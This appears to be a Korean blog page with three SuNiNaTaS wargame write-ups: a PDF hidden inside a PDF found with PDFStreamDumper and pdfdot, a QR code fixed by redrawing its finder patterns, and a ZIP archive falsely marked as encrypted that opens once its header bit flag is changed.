obj 39번을 보시면 "%PDF-1.7" 인 Header값이 존재합니다. pdf 속에 pdf를 숨겨놓은 스테가노그래피 기법으로 문제를 만든거 같습니다.



39번 object아래 값을 보시면 /Encrypt라고 되어 있고 어떤 값이 암호화 되어있는 것을 보실 수 있습니다.


아마 해당 값이 키 값이겠죠?


39번 object를 따로 저장하여 열어보면 아무 내용도 존재하지 않습니다.



그래서 다시 "PDFStreamDumper"를 이용해서 열어보면 pdf가 암호화 되어있다고 나와있습니다.


https://smallpdf.com/kr/unlock-pdf 에서 pdf 잠금을 해지하실 수 있습니다.

(해지할 때 저작권 때문에 열어도 되는지 동의를 구합니다. 불법으로 열어보시면 안됩니다.)


잠금해지하고 다시 열어보면 키 값을 얻을 수 있습니다.


이 값을 MD5 해쉬 시켜주면 됩니다.







[pdfdot]를 이용


pdfdot라는 프로그램을 통해서도 할 수 있습니다.


'-r' 옵션으로 처음 시작 위치를 알아낼 수 있습니다.


처음은 object 2번에서 시작합니다.



'-o' 옵션을 통해 해당 object를 확인할 수 있습니다.


Referencing은 현재 object가 참조하고 있는 다른 object를 가르칩니다.



"Contains stream" 은 스트림 데이터가 존재합니다. 이런 곳에서 원하는 정보를 얻을 수 있습니다.


"-d" 옵션으로 23번 object를 dump 할 수 있습니다.


만약 해당 내용이 encoding되어 있으면 "-f" 옵션으로 decode할 수 있습니다.



해당 dump파일을 열어보시면 다음과 같이 잘 나오게 됩니다.


이 정보는 HxD에서도 얻은 정보랑 같습니다.



"pdfdot"는 pdf가 어떤 식으로 동작하는지 구조를 알 수 있는 유용한 프로그램입니다.


"pdfdot"을 통해 object 다이어그램을 그려보면 아래와 같습니다.


하늘색으로 칠해져 있는 부분이 "Contains stream"이 있는 부분이고, 빨간색 부분이 PDF가 숨겨진 부분입니다.






[참고]

PDF Unlock: https://smallpdf.com/kr/unlock-pdf

PDF 파일 포맷: http://nakyungpapa.tistory.com/142

PDF 파일 포맷: http://panda2122.tistory.com/10

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14
SuNiNaTaS_5 [WEB]  (0) 2018.09.13
SuNiNaTaS_17 [MISC]  (0) 2018.09.12
SuNiNaTaS_28 [FORENSIC]  (0) 2018.09.12
SuNiNaTaS_13 [MISC]  (0) 2018.09.11

QR Code에 빨간색으로 낙서가 되어있어 제대로 인식하지 못하고 있습니다. 



QR code에 구조를 알아보라는 문제같습니다. 


빨간색으로 칠해져 있는 부분은 "위치 찾기 심볼" 이라고 부르며 360도 어느 방향에서든 인식할 수 있게 만들어 놓은 곳입니다.


하지만 지금 해당 구역이 오염되어 있어 정확한 값을 찾을 수 없게 되는 것입니다.


"Fix it!" 고치라고 한 내용은 해당 부분을 올바르게 만들어서 인식할 수 있게 만들라는 내용입니다.



Google에 검색해서 아무 qr코드를 가져와 "위치 찾기 심볼" 부분을 캡처하여 그림판으로 모양을 잘 잡아줍니다.


https://webqr.com/index.html 과 같은 사이트에 업로드하여 확인해 보면 됩니다.


하지만 Error가 발생하고 인식을 하지 못하게 됩니다.


빨간 부분으로 더럽혀 있어서 그런거 같으니 해당 부분도 지워줍니다.



수작업으로 하나하나 하얗게 칠하면 조금 지저분하지만 QR code를 인식하기에는 문제가 없습니다.


해당 파일로 업로드하면 올바른 인증키 값을 얻을 수 있습니다.




흔히 쓰는 QR코드가 어떻게 작동하는지 알아보게 하려는 문제였습니다.


따로 정리할 필요가 있겠네요.


[참고]

http://www.qrcode.com/ko/about/

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_5 [WEB]  (0) 2018.09.13
SuNiNaTaS_31 [FORENSIC]  (0) 2018.09.13
SuNiNaTaS_28 [FORENSIC]  (0) 2018.09.12
SuNiNaTaS_13 [MISC]  (0) 2018.09.11
SuNiNaTaS_11 [BINARY]  (0) 2018.09.09

쉽다고..!?



파일을 받으면 다음과 같이 확장자를 알 수 없는 파일이 하나 생기게 됩니다.



HxD로 확인해보면 앞에 시작부분이 PK인걸 보아하니 ZIP파일임을 눈치챌 수 있고 해당 파일에 확장자를 추가해줍니다.



확장자를 추가하고 열어보니 암호가 걸려있고 암호에 대한 힌트는 조금도 존재하지 않습니다....


여기서 진짜 막막했습니다 ㅜ



이 문제는 알집 Header에 관한 문제였습니다.


아래와 같이 zip파일은 다양한 파일을 하나로 모아주는 역할을 합니다.


파일마다 각각의 "Local header"가 존재하고 마지막에는 "Central directory"에 파일의 정보를 다시 작성합니다.


[출처: 위키피디아]



zip파일의 헤더 항목 중에 "General purpose bit flag"라는 항목이 있습니다. (2byte)


아래와 같은 정보를 담고 있는 값입니다. 그중 첫번째 bit는 암호 유무를 판단하는 bit 값입니다.


이 값이 설정되어 있으면 해당 zip파일은 암호화 되어 있다고 판단하게 됩니다.


        Bit 0: If set, indicates that the file is encrypted.


        (For Method 6 - Imploding)

        Bit 1: If the compression method used was type 6,

               Imploding, then this bit, if set, indicates

               an 8K sliding dictionary was used.  If clear,

               then a 4K sliding dictionary was used.


        Bit 2: If the compression method used was type 6,

               Imploding, then this bit, if set, indicates

               3 Shannon-Fano trees were used to encode the

               sliding dictionary output.  If clear, then 2

               Shannon-Fano trees were used.


        (For Methods 8 and 9 - Deflating)

        Bit 2  Bit 1

          0      0    Normal (-en) compression option was used.

          0      1    Maximum (-exx/-ex) compression option was used.

          1      0    Fast (-ef) compression option was used.

          1      1    Super Fast (-es) compression option was used.


        (For Method 14 - LZMA)

        Bit 1: If the compression method used was type 14,

               LZMA, then this bit, if set, indicates

               an end-of-stream (EOS) marker is used to

               mark the end of the compressed data stream.

               If clear, then an EOS marker is not present

               and the compressed data size must be known

               to extract.


        Note:  Bits 1 and 2 are undefined if the compression

               method is any other.


        Bit 3: If this bit is set, the fields crc-32, compressed 

               size and uncompressed size are set to zero in the 

               local header.  The correct values are put in the 

               data descriptor immediately following the compressed

               data.  (Note: PKZIP version 2.04g for DOS only 

               recognizes this bit for method 8 compression, newer 

               versions of PKZIP recognize this bit for any 

               compression method.)


        Bit 4: Reserved for use with method 8, for enhanced

               deflating. 


        Bit 5: If this bit is set, this indicates that the file is 

               compressed patched data.  (Note: Requires PKZIP 

               version 2.70 or greater)


        Bit 6: Strong encryption.  If this bit is set, you MUST

               set the version needed to extract value to at least

               50 and you MUST also set bit 0.  If AES encryption

               is used, the version needed to extract value MUST 

               be at least 51. See the section describing the Strong

               Encryption Specification for details.  Refer to the 

               section in this document entitled "Incorporating PKWARE 

               Proprietary Technology into Your Product" for more 

               information.


        Bit 7: Currently unused.


        Bit 8: Currently unused.


        Bit 9: Currently unused.


        Bit 10: Currently unused.


        Bit 11: Language encoding flag (EFS).  If this bit is set,

                the filename and comment fields for this file

                MUST be encoded using UTF-8. (see APPENDIX D)


        Bit 12: Reserved by PKWARE for enhanced compression.


        Bit 13: Set when encrypting the Central Directory to indicate 

                selected data values in the Local Header are masked to

                hide their actual values.  See the section describing 

                the Strong Encryption Specification for details.  Refer

                to the section in this document entitled "Incorporating 

                PKWARE Proprietary Technology into Your Product" for 

                more information.


        Bit 14: Reserved by PKWARE.


        Bit 15: Reserved by PKWARE. 


다음과 같이 "Local" 과 "Central directory"의 "General purpose bit flag"의 위치가 살짝 다르다는 것을 알아야 합니다.


Local Header

 Central directory file header

4Byte: Local file header signature

2Byte: Version needed to extract

2Byte: General purpose bit flag

4Byte: Local file header signature

2Byte: Version made by

2Byte: Version needed to extract

2Byte: General purpose bit flag



이것을 알고 문제로 가보면 아래와 같이 "09 08"로 되어있는 부분을 확인 할 수 있습니다.


리틀엔디안 방식을 쓰기때문에 bit값을 확인할때는 08 09 → 1000 1001 로 아셔야 합니다.


첫번째 bit가 1로 되어있어 해당 파일이 암호화 됬다고 나타나고 있습니다. 이 값을 0으로 바꾸려면


"08 08" 로 수정하시면 됩니다. 모든 "General purpose bit flag" 값을 수정해 주시면 해당 파일이 깔끔하게 열리게 됩니다.



두개의 txt파일은 "Dummy"라는 무수한 글자로 채워져 있었고, 실제 zip파일에 txt가 필요했던 겁니다.


해당 인증값으로 인증해도 안되는데 base64로 인코딩 되어있는 거 같아 decode하고 인증하면 성공하게 됩니다.



[참고]

Zip (file format): https://en.wikipedia.org/wiki/Zip_(file_format)

Zip 압축파일 헤더 구조: http://downrg.com/403

Zip파일 헤더 구조: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT



[여담]

이 문제는 암호 자체가 없던 파일입니다.

직접 다른 암호화된 zip파일을 만들고 해당 bit값만 조작해보면 압축파일이 손상되어 있다고 나오니 주의하시기 바랍니다.

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_31 [FORENSIC]  (0) 2018.09.13
SuNiNaTaS_17 [MISC]  (0) 2018.09.12
SuNiNaTaS_13 [MISC]  (0) 2018.09.11
SuNiNaTaS_11 [BINARY]  (0) 2018.09.09
SuNiNaTaS_10 [BINARY]  (0) 2018.09.08

+ Recent posts